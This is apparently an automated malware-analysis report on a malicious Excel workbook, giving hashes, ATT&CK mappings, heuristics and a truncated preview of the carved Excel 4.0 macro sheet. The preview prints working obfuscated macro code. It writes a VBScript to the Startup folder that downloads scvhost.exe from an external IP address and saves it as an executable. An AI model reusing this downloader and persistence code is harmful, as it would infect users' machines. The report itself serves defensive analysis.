Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 57c946527dae0262…

MALICIOUS

Office (OOXML)

10.3 KB Created: 2021-10-22 20:21:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-26
MD5: a972cc25b8fc3a5c7f471c147e49afa3 SHA-1: e8d0ab6013fc8ed9a6c7cb5ba6990675b10124fb SHA-256: 57c946527dae02624e941331532ac220a97bb842c4848b1e69a1883847148ce6
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder

The file contains critical Excel 4.0 macros that utilize dangerous functions like FOPEN, FCLOSE, and HALT. These functions are used to construct and write a VBScript named 'windows.vbs' to the user's startup folder. This script is likely intended to download and execute a second-stage payload, establishing persistence.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FOPEN, FCLOSE, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5123 bytes
SHA-256: 9911bc435151b1e4242f691d49a4f6ad0954cd3d1d9ab2a799676c0d19895b32
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{BC152F55-728F-4619-8502-7EE5B1EBAAAF}"><dimension ref="FLP59:FLP82"/><sheetViews><sheetView showFormulas="1" topLeftCell="AAA1" workbookViewId="0"/></sheetViews><sheetFormatPr baseColWidth="10" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="702" width="0" hidden="1" customWidth="1"/></cols><sheetData><row r="59" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP59" t="b"><f bx="1">vgf="C"&amp;":"&amp;"\Use"&amp;"rs\Pub"&amp;"lic\"</f><v>0</v></c></row><row r="60" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP60" t="b"><f bx="1">p="Micro"&amp;"soft\Windo"&amp;"ws\Sta"&amp;"rt Menu\Progr"&amp;"ams\Sta"&amp;"rtup\"</f><v>0</v></c></row><row r="61" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP61" t="b"><f bx="1">fil=FOPEN(REPLACE(GET.WORKSPACE(23),(LEN(GET.WORKSPACE(23)) - 22),LEN(GET.WORKSPACE(23)),"")&amp;p&amp;"windo"&amp;"ws.vbs",3)</f><v>0</v></c></row><row r="62" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP62" t="e"><f>FWRITELN(fil,"On Error Resume Next")</f><v>#NAME?</v></c></row><row r="63" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP63" t="e"><f>FWRITELN(fil,"sha1vf8l = ""Ado""")</f><v>#NAME?</v></c></row><row r="64" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP64" t="e"><f>FWRITELN(fil,"o30lqchj = ""db.Str""")</f><v>#NAME?</v></c></row><row r="65" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP65" t="e"><f>FWRITELN(fil,"iunv6g0j = ""Micros""")</f><v>#NAME?</v></c></row><row r="66" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP66" t="e"><f>FWRITELN(fil,"ntb63zju = ""oft.XMLH""")</f><v>#NAME?</v></c></row><row r="67" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP67" t="e"><f>FWRITELN(fil,"af69c8k3 = ""htt"&amp;"p://37.221.64.37/up/scvhost.exe""")</f><v>#NAME?</v></c></row><row r="68" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP68" t="e"><f>FWRITELN(fil,"dim uj9tvsiq: Set uj9tvsiq = createobject(iunv6g0j &amp; ntb63zju &amp; ""TTP"")")</f><v>#NAME?</v></c></row><row r="69" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP69" t="e"><f>FWRITELN(fil,"dim tvozas3s: Set tvozas3s = createobject(sha1vf8l &amp; o30lqchj &amp; ""eam"")")</f><v>#NAME?</v></c></row><row r="70" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP70" t="e"><f>FWRITELN(fil,"uj9tvsiq.Open ""GET"", af69c8k3, False")</f><v>#NAME?</v></c></row><row r="71" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP71" t="e"><f>FWRITELN(fil,"uj9tvsiq.Send")</f><v>#NAME?</v></c></row><row r="72" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP72" t="e"><f>FWRITELN(fil,"with tvozas3s")</f><v>#NAME?</v></c></row><row r="73" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP73" t="e"><f>FWRITELN(fil,"    .type = 1")</f><v>#NAME?</v></c></row><row r="74" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP74" t="e"><f>FWRITELN(fil,"    .open")</f><v>#NAME?</v></c></row><row r="75" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP75" t="e"><f>FWRITELN(fil,"    .write uj9tvsiq.responseBody")</f><v>#NAME?</v></c></row><row r="76" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP76" t="e"><f>FWRITELN(fil,"    .savetofi"&amp;"le """&amp;vgf&amp;"Test.exe"", 2")</f><v>#NAME?</v></c></row><row r="77" spans="4384:4384" x14ac:dyDescent="0.25"><c r="FLP77" t="e"><f>FWRITELN(fil,"end with")</f><v>#NAME?</v></c></row><row r="78" spans="4384:4384" x14ac:
... (truncated)